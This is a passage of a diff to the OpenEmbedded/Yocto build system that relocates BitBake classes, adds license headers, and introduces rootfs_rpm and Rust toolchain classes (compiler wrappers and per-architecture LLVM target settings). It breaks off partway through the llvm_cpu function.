+ testdata_link = os.path.join(deploy_dir, "%s.testdata.json" % link_name)
+ if testdata_link != testdata_name:
+ if os.path.lexists(testdata_link):
+ os.remove(testdata_link)
+ os.symlink(os.path.basename(testdata_name), testdata_link)
+}
+write_image_test_data[vardepsexclude] += "TOPDIR"
+
+# Check for unsatisfied recommendations (RRECOMMENDS)
+python rootfs_log_check_recommends() {
+ log_path = d.expand("${T}/log.do_rootfs")
+ with open(log_path, 'r') as log:
+ for line in log:
+ if 'log_check' in line:
+ continue
+
+ if 'unsatisfied recommendation for' in line:
+ bb.warn('[log_check] %s: %s' % (d.getVar('PN'), line))
+}
+
+# Perform any additional adjustments needed to make rootf binary reproducible
+rootfs_reproducible () {
+ if [ "${REPRODUCIBLE_TIMESTAMP_ROOTFS}" != "" ]; then
+ # Convert UTC into %4Y%2m%2d%2H%2M%2S
+ sformatted=`date -u -d @${REPRODUCIBLE_TIMESTAMP_ROOTFS} +%4Y%2m%2d%2H%2M%2S`
+ echo $sformatted > ${IMAGE_ROOTFS}/etc/version
+ bbnote "rootfs_reproducible: set /etc/version to $sformatted"
+
+ if [ -d ${IMAGE_ROOTFS}${sysconfdir}/gconf ]; then
+ find ${IMAGE_ROOTFS}${sysconfdir}/gconf -name '%gconf.xml' -print0 | xargs -0r \
+ sed -i -e 's@\bmtime="[0-9][0-9]*"@mtime="'${REPRODUCIBLE_TIMESTAMP_ROOTFS}'"@g'
+ fi
+ fi
+}
+
+# Perform a dumb check for unit existence, not its validity
+python overlayfs_qa_check() {
+ from oe.overlayfs import mountUnitName
+
+ overlayMountPoints = d.getVarFlags("OVERLAYFS_MOUNT_POINT") or {}
+ imagepath = d.getVar("IMAGE_ROOTFS")
+ sysconfdir = d.getVar("sysconfdir")
+ searchpaths = [oe.path.join(imagepath, sysconfdir, "systemd", "system"),
+ oe.path.join(imagepath, d.getVar("systemd_system_unitdir"))]
+ fstabpath = oe.path.join(imagepath, sysconfdir, "fstab")
+
+ if not any(os.path.exists(path) for path in [*searchpaths, fstabpath]):
+ return
+
+ fstabDevices = []
+ if os.path.isfile(fstabpath):
+ with open(fstabpath, 'r') as f:
+ for line in f:
+ if line[0] == '#':
+ continue
+ path = line.split(maxsplit=2)
+ if len(path) > 2:
+ fstabDevices.append(path[1])
+
+ allUnitExist = True;
+ for mountPoint in overlayMountPoints:
+ qaSkip = (d.getVarFlag("OVERLAYFS_QA_SKIP", mountPoint) or "").split()
+ if "mount-configured" in qaSkip:
+ continue
+
+ mountPath = d.getVarFlag('OVERLAYFS_MOUNT_POINT', mountPoint)
+ if mountPath in fstabDevices:
+ continue
+
+ mountUnit = mountUnitName(mountPath)
+ if any(os.path.isfile(oe.path.join(dirpath, mountUnit))
+ for dirpath in searchpaths):
+ continue
+
+ bb.warn(f'Mount path {mountPath} not found in fstab and unit '
+ f'{mountUnit} not found in systemd unit directories.')
+ bb.warn(f'Skip this check by setting OVERLAYFS_QA_SKIP[{mountPoint}] = '
+ '"mount-configured"')
+ allUnitExist = False;
+
+ if not allUnitExist:
+ bb.fatal('Not all mount paths and units are installed in the image')
+}
+
+python overlayfs_postprocess() {
+ import shutil
+
+ # install helper script
+ helperScriptName = "overlayfs-create-dirs.sh"
+ helperScriptSource = oe.path.join(d.getVar("COREBASE"), "meta/files", helperScriptName)
+ helperScriptDest = oe.path.join(d.getVar("IMAGE_ROOTFS"), "/usr/sbin/", helperScriptName)
+ shutil.copyfile(helperScriptSource, helperScriptDest)
+ os.chmod(helperScriptDest, 0o755)
+}
diff --git a/meta/classes/rootfs_deb.bbclass b/meta/classes-recipe/rootfs_deb.bbclass
index 2b93796a76..c5c6426abb 100644
--- a/meta/classes/rootfs_deb.bbclass
+++ b/meta/classes-recipe/rootfs_deb.bbclass
@@ -1,13 +1,15 @@
#
# Copyright 2006-2007 Openedhand Ltd.
#
+# SPDX-License-Identifier: MIT
+#
ROOTFS_PKGMANAGE = "dpkg apt"
do_rootfs[depends] += "dpkg-native:do_populate_sysroot apt-native:do_populate_sysroot"
do_populate_sdk[depends] += "dpkg-native:do_populate_sysroot apt-native:do_populate_sysroot bzip2-native:do_populate_sysroot"
do_rootfs[recrdeptask] += "do_package_write_deb do_package_qa"
-do_rootfs[vardeps] += "PACKAGE_FEED_URIS"
+do_rootfs[vardeps] += "PACKAGE_FEED_URIS PACKAGE_FEED_BASE_PATHS PACKAGE_FEED_ARCHS"
do_rootfs[lockfiles] += "${DEPLOY_DIR_DEB}/deb.lock"
do_populate_sdk[lockfiles] += "${DEPLOY_DIR_DEB}/deb.lock"
@@ -32,4 +34,8 @@ python () {
d.setVar('DEB_SDK_ARCH', 'amd64')
elif darch == "arm":
d.setVar('DEB_SDK_ARCH', 'armel')
+ elif darch == "aarch64":
+ d.setVar('DEB_SDK_ARCH', 'arm64')
+ else:
+ bb.fatal("Unhandled SDK_ARCH %s" % darch)
}
diff --git a/meta/classes/rootfs_ipk.bbclass b/meta/classes-recipe/rootfs_ipk.bbclass
index e73d2bfdae..87fff53a58 100644
--- a/meta/classes/rootfs_ipk.bbclass
+++ b/meta/classes-recipe/rootfs_ipk.bbclass
@@ -1,4 +1,10 @@
#
+# Copyright OpenEmbedded Contributors
+#
+# SPDX-License-Identifier: MIT
+#
+
+#
# Creates a root filesystem out of IPKs
#
# This rootfs can be mounted via root-nfs or it can be put into an cramfs/jffs etc.
@@ -11,11 +17,11 @@ ROOTFS_PKGMANAGE = "opkg ${EXTRAOPKGCONFIG}"
do_rootfs[depends] += "opkg-native:do_populate_sysroot opkg-utils-native:do_populate_sysroot"
do_populate_sdk[depends] += "opkg-native:do_populate_sysroot opkg-utils-native:do_populate_sysroot"
do_rootfs[recrdeptask] += "do_package_write_ipk do_package_qa"
-do_rootfs[vardeps] += "PACKAGE_FEED_URIS"
+do_rootfs[vardeps] += "PACKAGE_FEED_URIS PACKAGE_FEED_BASE_PATHS PACKAGE_FEED_ARCHS"
do_rootfs[lockfiles] += "${WORKDIR}/ipk.lock"
-do_populate_sdk[lockfiles] += "${WORKDIR}/ipk.lock"
-do_populate_sdk_ext[lockfiles] += "${WORKDIR}/ipk.lock"
+do_populate_sdk[lockfiles] += "${WORKDIR}/sdk-ipk.lock"
+do_populate_sdk_ext[lockfiles] += "${WORKDIR}/sdk-ipk.lock"
OPKG_PREPROCESS_COMMANDS = ""
@@ -23,7 +29,7 @@ OPKG_POSTPROCESS_COMMANDS = ""
OPKGLIBDIR ??= "${localstatedir}/lib"
-MULTILIBRE_ALLOW_REP = "${OPKGLIBDIR}/opkg|/usr/lib/opkg"
+MULTILIBRE_ALLOW_REP += "${OPKGLIBDIR}/opkg /usr/lib/opkg"
python () {
diff --git a/meta/classes-recipe/rootfs_rpm.bbclass b/meta/classes-recipe/rootfs_rpm.bbclass
new file mode 100644
index 0000000000..55f1cc92ca
--- /dev/null
+++ b/meta/classes-recipe/rootfs_rpm.bbclass
@@ -0,0 +1,43 @@
+#
+# Copyright OpenEmbedded Contributors
+#
+# SPDX-License-Identifier: MIT
+#
+
+#
+# Creates a root filesystem out of rpm packages
+#
+
+ROOTFS_PKGMANAGE = "rpm dnf"
+
+# dnf is using our custom sysconfig module, and so will fail without these
+export STAGING_INCDIR
+export STAGING_LIBDIR
+
+# Add 100Meg of extra space for dnf
+IMAGE_ROOTFS_EXTRA_SPACE:append = "${@bb.utils.contains("PACKAGE_INSTALL", "dnf", " + 102400", "", d)}"
+
+# Dnf is python based, so be sure python3-native is available to us.
+EXTRANATIVEPATH += "python3-native"
+
+RPMROOTFSDEPENDS = "rpm-native:do_populate_sysroot \
+ dnf-native:do_populate_sysroot \
+ createrepo-c-native:do_populate_sysroot"
+
+do_rootfs[depends] += "${RPMROOTFSDEPENDS}"
+do_populate_sdk[depends] += "${RPMROOTFSDEPENDS}"
+
+do_rootfs[recrdeptask] += "do_package_write_rpm do_package_qa"
+do_rootfs[vardeps] += "PACKAGE_FEED_URIS PACKAGE_FEED_BASE_PATHS PACKAGE_FEED_ARCHS"
+
+python () {
+ if d.getVar('BUILD_IMAGES_FROM_FEEDS'):
+ flags = d.getVarFlag('do_rootfs', 'recrdeptask')
+ flags = flags.replace("do_package_write_rpm", "")
+ flags = flags.replace("do_deploy", "")
+ flags = flags.replace("do_populate_sysroot", "")
+ d.setVarFlag('do_rootfs', 'recrdeptask', flags)
+ d.setVar('RPM_PREPROCESS_COMMANDS', '')
+ d.setVar('RPM_POSTPROCESS_COMMANDS', '')
+
+}
diff --git a/meta/classes/rootfsdebugfiles.bbclass b/meta/classes-recipe/rootfsdebugfiles.bbclass
index 85c7ec7434..4c2fc1de25 100644
--- a/meta/classes/rootfsdebugfiles.bbclass
+++ b/meta/classes-recipe/rootfsdebugfiles.bbclass
@@ -1,3 +1,9 @@
+#
+# Copyright OpenEmbedded Contributors
+#
+# SPDX-License-Identifier: MIT
+#
+
# This class installs additional files found on the build host
# directly into the rootfs.
#
@@ -28,7 +34,7 @@
ROOTFS_DEBUG_FILES ?= ""
ROOTFS_DEBUG_FILES[doc] = "Lists additional files or directories to be installed with 'cp -a' in the format 'source1 target1;source2 target2;...'"
-ROOTFS_POSTPROCESS_COMMAND += "rootfs_debug_files;"
+ROOTFS_POSTPROCESS_COMMAND += "rootfs_debug_files"
rootfs_debug_files () {
#!/bin/sh -e
echo "${ROOTFS_DEBUG_FILES}" | sed -e 's/;/\n/g' | while read source target mode; do
diff --git a/meta/classes-recipe/rust-common.bbclass b/meta/classes-recipe/rust-common.bbclass
new file mode 100644
index 0000000000..6940093e59
--- /dev/null
+++ b/meta/classes-recipe/rust-common.bbclass
@@ -0,0 +1,196 @@
+#
+# Copyright OpenEmbedded Contributors
+#
+# SPDX-License-Identifier: MIT
+#
+
+inherit python3native
+inherit rust-target-config
+
+# Common variables used by all Rust builds
+export rustlibdir = "${libdir}/rustlib/${RUST_HOST_SYS}/lib"
+FILES:${PN} += "${rustlibdir}/*.so"
+FILES:${PN}-dev += "${rustlibdir}/*.rlib ${rustlibdir}/*.rmeta"
+FILES:${PN}-dbg += "${rustlibdir}/.debug"
+
+RUSTLIB = "-L ${STAGING_DIR_HOST}${rustlibdir}"
+RUST_DEBUG_REMAP = "--remap-path-prefix=${WORKDIR}=${TARGET_DBGSRC_DIR}"
+RUSTFLAGS += "${RUSTLIB} ${RUST_DEBUG_REMAP}"
+RUSTLIB_DEP ??= "libstd-rs"
+RUST_PANIC_STRATEGY ??= "unwind"
+
+def target_is_armv7(d):
+ '''Determine if target is armv7'''
+ # TUNE_FEATURES may include arm* even if the target is not arm
+ # in the case of *-native packages
+ if d.getVar('TARGET_ARCH') != 'arm':
+ return False
+
+ feat = d.getVar('TUNE_FEATURES')
+ feat = frozenset(feat.split())
+ mach_overrides = d.getVar('MACHINEOVERRIDES')
+ mach_overrides = frozenset(mach_overrides.split(':'))
+
+ v7=frozenset(['armv7a', 'armv7r', 'armv7m', 'armv7ve'])
+ if mach_overrides.isdisjoint(v7) and feat.isdisjoint(v7):
+ return False
+ else:
+ return True
+target_is_armv7[vardepvalue] = "${@target_is_armv7(d)}"
+
+# Responsible for taking Yocto triples and converting it to Rust triples
+def rust_base_triple(d, thing):
+ '''
+ Mangle bitbake's *_SYS into something that rust might support (see
+ rust/mk/cfg/* for a list)
+
+ Note that os is assumed to be some linux form
+ '''
+
+ # The llvm-target for armv7 is armv7-unknown-linux-gnueabihf
+ if d.getVar('{}_ARCH'.format(thing)) == d.getVar('TARGET_ARCH') and target_is_armv7(d):
+ arch = "armv7"
+ else:
+ arch = oe.rust.arch_to_rust_arch(d.getVar('{}_ARCH'.format(thing)))
+
+ # Substituting "unknown" when vendor is empty will match rust's standard
+ # targets when building native recipes (including rust-native itself)
+ vendor = d.getVar('{}_VENDOR'.format(thing)) or "-unknown"
+
+ # Default to glibc
+ libc = "-gnu"
+ os = d.getVar('{}_OS'.format(thing))
+ # This catches ARM targets and appends the necessary hard float bits
+ if os == "linux-gnueabi" or os == "linux-musleabi":
+ libc = bb.utils.contains('TUNE_FEATURES', 'callconvention-hard', 'hf', '', d)
+ elif os == "linux-gnux32" or os == "linux-muslx32":
+ libc = ""
+ elif "musl" in os:
+ libc = "-musl"
+ os = "linux"
+ elif "elf" in os:
+ libc = "-elf"
+ os = "none"
+ elif "eabi" in os:
+ libc = "-eabi"
+ os = "none"
+
+ return arch + vendor + '-' + os + libc
+
+
+# In some cases uname and the toolchain differ on their idea of the arch name
+RUST_BUILD_ARCH = "${@oe.rust.arch_to_rust_arch(d.getVar('BUILD_ARCH'))}"
+
+# Naming explanation
+# Yocto
+# - BUILD_SYS - Yocto triple of the build environment
+# - HOST_SYS - What we're building for in Yocto
+# - TARGET_SYS - What we're building for in Yocto
+#
+# So when building '-native' packages BUILD_SYS == HOST_SYS == TARGET_SYS
+# When building packages for the image HOST_SYS == TARGET_SYS
+# This is a gross over simplification as there are other modes but
+# currently this is all that's supported.
+#
+# Rust
+# - TARGET - the system where the binary will run
+# - HOST - the system where the binary is being built
+#
+# Rust additionally will use two additional cases:
+# - undecorated (e.g. CC) - equivalent to TARGET
+# - triple suffix (e.g. CC:x86_64_unknown_linux_gnu) - both
+# see: https://github.com/rust-lang/cc-rs
+# The way that Rust's internal triples and Yocto triples are mapped together
+# its likely best to not use the triple suffix due to potential confusion.
+
+RUST_BUILD_SYS = "${@rust_base_triple(d, 'BUILD')}"
+RUST_BUILD_SYS[vardepvalue] = "${RUST_BUILD_SYS}"
+RUST_HOST_SYS = "${@rust_base_triple(d, 'HOST')}"
+RUST_HOST_SYS[vardepvalue] = "${RUST_HOST_SYS}"
+RUST_TARGET_SYS = "${@rust_base_triple(d, 'TARGET')}"
+RUST_TARGET_SYS[vardepvalue] = "${RUST_TARGET_SYS}"
+
+# wrappers to get around the fact that Rust needs a single
+# binary but Yocto's compiler and linker commands have
+# arguments. Technically the archiver is always one command but
+# this is necessary for builds that determine the prefix and then
+# use those commands based on the prefix.
+WRAPPER_DIR = "${WORKDIR}/wrapper"
+RUST_BUILD_CC = "${WRAPPER_DIR}/build-rust-cc"
+RUST_BUILD_CXX = "${WRAPPER_DIR}/build-rust-cxx"
+RUST_BUILD_CCLD = "${WRAPPER_DIR}/build-rust-ccld"
+RUST_BUILD_AR = "${WRAPPER_DIR}/build-rust-ar"
+RUST_TARGET_CC = "${WRAPPER_DIR}/target-rust-cc"
+RUST_TARGET_CXX = "${WRAPPER_DIR}/target-rust-cxx"
+RUST_TARGET_CCLD = "${WRAPPER_DIR}/target-rust-ccld"
+RUST_TARGET_AR = "${WRAPPER_DIR}/target-rust-ar"
+
+create_wrapper_rust () {
+ file="$1"
+ shift
+ extras="$1"
+ shift
+ crate_cc_extras="$1"
+ shift
+
+ cat <<- EOF > "${file}"
+ #!/usr/bin/env python3
+ import os, sys
+ orig_binary = "$@"
+ extras = "${extras}"
+
+ # Apply a required subset of CC crate compiler flags
+ # when we build a target recipe for a non-bare-metal target.
+ # https://github.com/rust-lang/cc-rs/blob/main/src/lib.rs#L1614
+ if "CRATE_CC_NO_DEFAULTS" in os.environ.keys() and \
+ "TARGET" in os.environ.keys() and not "-none-" in os.environ["TARGET"]:
+ orig_binary += "${crate_cc_extras}"
+
+ binary = orig_binary.split()[0]
+ args = orig_binary.split() + sys.argv[1:]
+ if extras:
+ args.append(extras)
+ os.execvp(binary, args)
+ EOF
+ chmod +x "${file}"
+}
+
+WRAPPER_TARGET_CC = "${CC}"
+WRAPPER_TARGET_CXX = "${CXX}"
+WRAPPER_TARGET_CCLD = "${CCLD}"
+WRAPPER_TARGET_LDFLAGS = "${LDFLAGS}"
+WRAPPER_TARGET_EXTRALD = ""
+# see recipes-devtools/gcc/gcc/0018-Add-ssp_nonshared-to-link-commandline-for-musl-targe.patch
+# we need to link with ssp_nonshared on musl to avoid "undefined reference to `__stack_chk_fail_local'"
+# when building MACHINE=qemux86 for musl
+WRAPPER_TARGET_EXTRALD:libc-musl = "-lssp_nonshared"
+WRAPPER_TARGET_AR = "${AR}"
+
+# compiler is used by gcc-rs
+# linker is used by rustc/cargo
+# archiver is used by the build of libstd-rs
+do_rust_create_wrappers () {
+ mkdir -p "${WRAPPER_DIR}"
+
+ # Yocto Build / Rust Host C compiler
+ create_wrapper_rust "${RUST_BUILD_CC}" "" "${CRATE_CC_FLAGS}" "${BUILD_CC}"
+ # Yocto Build / Rust Host C++ compiler
+ create_wrapper_rust "${RUST_BUILD_CXX}" "" "${CRATE_CC_FLAGS}" "${BUILD_CXX}"
+ # Yocto Build / Rust Host linker
+ create_wrapper_rust "${RUST_BUILD_CCLD}" "" "" "${BUILD_CCLD}" "${BUILD_LDFLAGS}"
+ # Yocto Build / Rust Host archiver
+ create_wrapper_rust "${RUST_BUILD_AR}" "" "" "${BUILD_AR}"
+
+ # Yocto Target / Rust Target C compiler
+ create_wrapper_rust "${RUST_TARGET_CC}" "${WRAPPER_TARGET_EXTRALD}" "${CRATE_CC_FLAGS}" "${WRAPPER_TARGET_CC}" "${WRAPPER_TARGET_LDFLAGS}"
+ # Yocto Target / Rust Target C++ compiler
+ create_wrapper_rust "${RUST_TARGET_CXX}" "${WRAPPER_TARGET_EXTRALD}" "${CRATE_CC_FLAGS}" "${WRAPPER_TARGET_CXX}" "${CXXFLAGS}"
+ # Yocto Target / Rust Target linker
+ create_wrapper_rust "${RUST_TARGET_CCLD}" "${WRAPPER_TARGET_EXTRALD}" "" "${WRAPPER_TARGET_CCLD}" "${WRAPPER_TARGET_LDFLAGS}"
+ # Yocto Target / Rust Target archiver
+ create_wrapper_rust "${RUST_TARGET_AR}" "" "" "${WRAPPER_TARGET_AR}"
+
+}
+
+addtask rust_create_wrappers before do_configure after do_patch do_prepare_recipe_sysroot
+do_rust_create_wrappers[dirs] += "${WRAPPER_DIR}"
diff --git a/meta/classes-recipe/rust-target-config.bbclass b/meta/classes-recipe/rust-target-config.bbclass
new file mode 100644
index 0000000000..926b0630b1
--- /dev/null
+++ b/meta/classes-recipe/rust-target-config.bbclass
@@ -0,0 +1,437 @@
+#
+# Copyright OpenEmbedded Contributors
+#
+# SPDX-License-Identifier: MIT
+#
+
+# Right now this is focused on arm-specific tune features.
+# We get away with this for now as one can only use x86-64 as the build host
+# (not arm).
+# Note that TUNE_FEATURES is _always_ refering to the target, so we really
+# don't want to use this for the host/build.
+def llvm_features_from_tune(d):
+ f = []
+ feat = d.getVar('TUNE_FEATURES')
+ if not feat:
+ return []
+ feat = frozenset(feat.split())
+
+ mach_overrides = d.getVar('MACHINEOVERRIDES')
+ mach_overrides = frozenset(mach_overrides.split(':'))
+
+ if 'vfpv4' in feat:
+ f.append("+vfp4")
+ elif 'vfpv3' in feat:
+ f.append("+vfp3")
+ elif 'vfpv3d16' in feat:
+ f.append("+vfp3")
+ f.append("-d32")
+ elif 'vfpv2' in feat or 'vfp' in feat:
+ f.append("+vfp2")
+
+ if 'neon' in feat:
+ f.append("+neon")
+ elif target_is_armv7(d):
+ f.append("-neon")
+
+ if 'mips32' in feat:
+ f.append("+mips32")
+
+ if 'mips32r2' in feat:
+ f.append("+mips32r2")
+
+ if target_is_armv7(d):
+ f.append('+v7')
+
+ if ('armv6' in mach_overrides) or ('armv6' in feat):
+ f.append("+v6")
+ if 'armv5te' in feat:
+ f.append("+strict-align")
+ f.append("+v5te")
+ elif 'armv5' in feat:
+ f.append("+strict-align")
+ f.append("+v5")
+
+ if ('armv4' in mach_overrides) or ('armv4' in feat):
+ f.append("+strict-align")
+
+ if 'dsp' in feat:
+ f.append("+dsp")
+
+ if 'thumb' in feat:
+ if d.getVar('ARM_THUMB_OPT') == "thumb":
+ if target_is_armv7(d):
+ f.append('+thumb2')
+ f.append("+thumb-mode")
+
+ if 'cortexa5' in feat:
+ f.append("+a5")
+ if 'cortexa7' in feat:
+ f.append("+a7")
+ if 'cortexa9' in feat:
+ f.append("+a9")
+ if 'cortexa15' in feat:
+ f.append("+a15")
+ if 'cortexa17' in feat:
+ f.append("+a17")
+ if ('riscv64' in feat) or ('riscv32' in feat):
+ f.append("+a,+c,+d,+f,+m")
+ return f
+llvm_features_from_tune[vardepvalue] = "${@llvm_features_from_tune(d)}"
+
+# TARGET_CC_ARCH changes from build/cross/target so it'll do the right thing
+# this should go away when https://github.com/rust-lang/rust/pull/31709 is
+# stable (1.9.0?)
+def llvm_features_from_cc_arch(d):
+ f = []
+ feat = d.getVar('TARGET_CC_ARCH')
+ if not feat:
+ return []
+ feat = frozenset(feat.split())
+
+ if '-mmmx' in feat:
+ f.append("+mmx")
+ if '-msse' in feat:
+ f.append("+sse")
+ if '-msse2' in feat:
+ f.append("+sse2")
+ if '-msse3' in feat:
+ f.append("+sse3")
+ if '-mssse3' in feat:
+ f.append("+ssse3")
+ if '-msse4.1' in feat:
+ f.append("+sse4.1")
+ if '-msse4.2' in feat:
+ f.append("+sse4.2")
+ if '-msse4a' in feat:
+ f.append("+sse4a")
+ if '-mavx' in feat:
+ f.append("+avx")
+ if '-mavx2' in feat:
+ f.append("+avx2")
+
+ return f
+
+def llvm_features_from_target_fpu(d):
+ # TARGET_FPU can be hard or soft. +soft-float tell llvm to use soft float
+ # ABI. There is no option for hard.
+
+ fpu = d.getVar('TARGET_FPU')
+ return ["+soft-float"] if fpu == "soft" else []
+
+def llvm_features(d):
+ return ','.join(llvm_features_from_tune(d) +
+ llvm_features_from_cc_arch(d) +
+ llvm_features_from_target_fpu(d))
+
+llvm_features[vardepvalue] = "${@llvm_features(d)}"
+
+## arm-unknown-linux-gnueabihf
+DATA_LAYOUT[arm-eabi] = "e-m:e-p:32:32-i64:64-v128:64:128-a:0:32-n32-S64"
+TARGET_ENDIAN[arm-eabi] = "little"
+TARGET_POINTER_WIDTH[arm-eabi] = "32"
+TARGET_C_INT_WIDTH[arm-eabi] = "32"
+MAX_ATOMIC_WIDTH[arm-eabi] = "64"
+FEATURES[arm-eabi] = "+v6,+vfp2"
+
+## armv7-unknown-linux-gnueabihf
+DATA_LAYOUT[armv7-eabi] = "e-m:e-p:32:32-i64:64-v128:64:128-a:0:32-n32-S64"
+TARGET_ENDIAN[armv7-eabi] = "little"
+TARGET_POINTER_WIDTH[armv7-eabi] = "32"
+TARGET_C_INT_WIDTH[armv7-eabi] = "32"
+MAX_ATOMIC_WIDTH[armv7-eabi] = "64"
+FEATURES[armv7-eabi] = "+v7,+vfp2,+thumb2"
+
+## aarch64-unknown-linux-{gnu, musl}
+DATA_LAYOUT[aarch64] = "e-m:e-i8:8:32-i16:16:32-i64:64-i128:128-n32:64-S128"
+TARGET_ENDIAN[aarch64] = "little"
+TARGET_POINTER_WIDTH[aarch64] = "64"
+TARGET_C_INT_WIDTH[aarch64] = "32"
+MAX_ATOMIC_WIDTH[aarch64] = "128"
+
+## x86_64-unknown-linux-{gnu, musl}
+DATA_LAYOUT[x86_64] = "e-m:e-i64:64-f80:128-n8:16:32:64-S128"
+TARGET_ENDIAN[x86_64] = "little"
+TARGET_POINTER_WIDTH[x86_64] = "64"
+TARGET_C_INT_WIDTH[x86_64] = "32"
+MAX_ATOMIC_WIDTH[x86_64] = "64"
+
+## x86_64-unknown-linux-gnux32
+DATA_LAYOUT[x86_64-x32] = "e-m:e-p:32:32-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
+TARGET_ENDIAN[x86_64-x32] = "little"
+TARGET_POINTER_WIDTH[x86_64-x32] = "32"
+TARGET_C_INT_WIDTH[x86_64-x32] = "32"
+MAX_ATOMIC_WIDTH[x86_64-x32] = "64"
+
+## i686-unknown-linux-{gnu, musl}
+DATA_LAYOUT[i686] = "e-m:e-p:32:32-f64:32:64-f80:32-n8:16:32-S128"
+TARGET_ENDIAN[i686] = "little"
+TARGET_POINTER_WIDTH[i686] = "32"
+TARGET_C_INT_WIDTH[i686] = "32"
+MAX_ATOMIC_WIDTH[i686] = "64"
+
+## XXX: a bit of a hack so qemux86 builds, clone of i686-unknown-linux-{gnu, musl} above
+DATA_LAYOUT[i586] = "e-m:e-p:32:32-f64:32:64-f80:32-n8:16:32-S128"
+TARGET_ENDIAN[i586] = "little"
+TARGET_POINTER_WIDTH[i586] = "32"
+TARGET_C_INT_WIDTH[i586] = "32"
+MAX_ATOMIC_WIDTH[i586] = "64"
+
+## mips-unknown-linux-{gnu, musl}
+DATA_LAYOUT[mips] = "E-m:m-p:32:32-i8:8:32-i16:16:32-i64:64-n32-S64"
+TARGET_ENDIAN[mips] = "big"
+TARGET_POINTER_WIDTH[mips] = "32"
+TARGET_C_INT_WIDTH[mips] = "32"
+MAX_ATOMIC_WIDTH[mips] = "32"
+
+## mipsel-unknown-linux-{gnu, musl}
+DATA_LAYOUT[mipsel] = "e-m:m-p:32:32-i8:8:32-i16:16:32-i64:64-n32-S64"
+TARGET_ENDIAN[mipsel] = "little"
+TARGET_POINTER_WIDTH[mipsel] = "32"
+TARGET_C_INT_WIDTH[mipsel] = "32"
+MAX_ATOMIC_WIDTH[mipsel] = "32"
+
+## mips64-unknown-linux-{gnu, musl}
+DATA_LAYOUT[mips64] = "E-m:e-i8:8:32-i16:16:32-i64:64-n32:64-S128"
+TARGET_ENDIAN[mips64] = "big"
+TARGET_POINTER_WIDTH[mips64] = "64"
+TARGET_C_INT_WIDTH[mips64] = "64"
+MAX_ATOMIC_WIDTH[mips64] = "64"
+
+## mips64-n32-unknown-linux-{gnu, musl}
+DATA_LAYOUT[mips64-n32] = "E-m:e-p:32:32-i8:8:32-i16:16:32-i64:64-n32:64-S128"
+TARGET_ENDIAN[mips64-n32] = "big"
+TARGET_POINTER_WIDTH[mips64-n32] = "32"
+TARGET_C_INT_WIDTH[mips64-n32] = "32"
+MAX_ATOMIC_WIDTH[mips64-n32] = "64"
+
+## mips64el-unknown-linux-{gnu, musl}
+DATA_LAYOUT[mips64el] = "e-m:e-i8:8:32-i16:16:32-i64:64-n32:64-S128"
+TARGET_ENDIAN[mips64el] = "little"
+TARGET_POINTER_WIDTH[mips64el] = "64"
+TARGET_C_INT_WIDTH[mips64el] = "64"
+MAX_ATOMIC_WIDTH[mips64el] = "64"
+
+## powerpc-unknown-linux-{gnu, musl}
+DATA_LAYOUT[powerpc] = "E-m:e-p:32:32-i64:64-n32"
+TARGET_ENDIAN[powerpc] = "big"
+TARGET_POINTER_WIDTH[powerpc] = "32"
+TARGET_C_INT_WIDTH[powerpc] = "32"
+MAX_ATOMIC_WIDTH[powerpc] = "32"
+
+## powerpc64-unknown-linux-{gnu, musl}
+DATA_LAYOUT[powerpc64] = "E-m:e-i64:64-n32:64-S128-v256:256:256-v512:512:512"
+TARGET_ENDIAN[powerpc64] = "big"
+TARGET_POINTER_WIDTH[powerpc64] = "64"
+TARGET_C_INT_WIDTH[powerpc64] = "64"
+MAX_ATOMIC_WIDTH[powerpc64] = "64"
+
+## powerpc64le-unknown-linux-{gnu, musl}
+DATA_LAYOUT[powerpc64le] = "e-m:e-i64:64-n32:64-v256:256:256-v512:512:512"
+TARGET_ENDIAN[powerpc64le] = "little"
+TARGET_POINTER_WIDTH[powerpc64le] = "64"
+TARGET_C_INT_WIDTH[powerpc64le] = "64"
+MAX_ATOMIC_WIDTH[powerpc64le] = "64"
+
+## riscv32gc-unknown-linux-{gnu, musl}
+DATA_LAYOUT[riscv32gc] = "e-m:e-p:32:32-i64:64-n32-S128"
+TARGET_ENDIAN[riscv32gc] = "little"
+TARGET_POINTER_WIDTH[riscv32gc] = "32"
+TARGET_C_INT_WIDTH[riscv32gc] = "32"
+MAX_ATOMIC_WIDTH[riscv32gc] = "32"
+
+## riscv64gc-unknown-linux-{gnu, musl}
+DATA_LAYOUT[riscv64gc] = "e-m:e-p:64:64-i64:64-i128:128-n64-S128"
+TARGET_ENDIAN[riscv64gc] = "little"
+TARGET_POINTER_WIDTH[riscv64gc] = "64"
+TARGET_C_INT_WIDTH[riscv64gc] = "64"
+MAX_ATOMIC_WIDTH[riscv64gc] = "64"
+
+## loongarch64-unknown-linux-{gnu, musl}
+DATA_LAYOUT[loongarch64] = "e-m:e-i8:8:32-i16:16:32-i64:64-n32:64-S128"
+TARGET_ENDIAN[loongarch64] = "little"
+TARGET_POINTER_WIDTH[loongarch64] = "64"
+TARGET_C_INT_WIDTH[loongarch64] = "32"
+MAX_ATOMIC_WIDTH[loongarch64] = "64"
+FEATURES[loongarch64] = "+d"
+
+# Convert a normal arch (HOST_ARCH, TARGET_ARCH, BUILD_ARCH, etc) to something
+# rust's internals won't choke on.
+def arch_to_rust_target_arch(arch):
+ if arch == "i586" or arch == "i686":
+ return "x86"
+ elif arch == "mipsel":
+ return "mips"
+ elif arch == "mip64sel":
+ return "mips64"
+ elif arch == "armv7":
+ return "arm"
+ elif arch == "powerpc64le":
+ return "powerpc64"
+ elif arch == "riscv32gc":
+ return "riscv32"
+ elif arch == "riscv64gc":
+ return "riscv64"
+ else:
+ return arch
+
+# Convert a rust target string to a llvm-compatible triplet
+def rust_sys_to_llvm_target(sys):
+ if sys.startswith('riscv32gc-'):
+ return sys.replace('riscv32gc-', 'riscv32-', 1)
+ if sys.startswith('riscv64gc-'):
+ return sys.replace('riscv64gc-', 'riscv64-', 1)
+ return sys
+
+# generates our target CPU value
+def llvm_cpu(d):
+ cpu = d.getVar('PACKAGE_ARCH')
+ target = d.getVar('TRANSLATED_TARGET_ARCH')
+
+ trans = {}
+ trans['corei7-64'] = "corei7"
+ trans['core2-32'] = "core2"
+ trans['x86-64'] = "x86-64"
+ trans['i686'] = "i686"
+ trans['i586'] = "i586"
+ trans['mips64'] = "mips64"
+ trans['mips64el'] = "mips64"
+ trans['powerpc64le'] = "ppc64le"
+ trans['powerpc64'] = "ppc64"
+ trans['riscv64'] = "generic-rv64"
+ trans['riscv32'] = "generic-rv32"
+ trans['loongarch64'] = "la464"
+
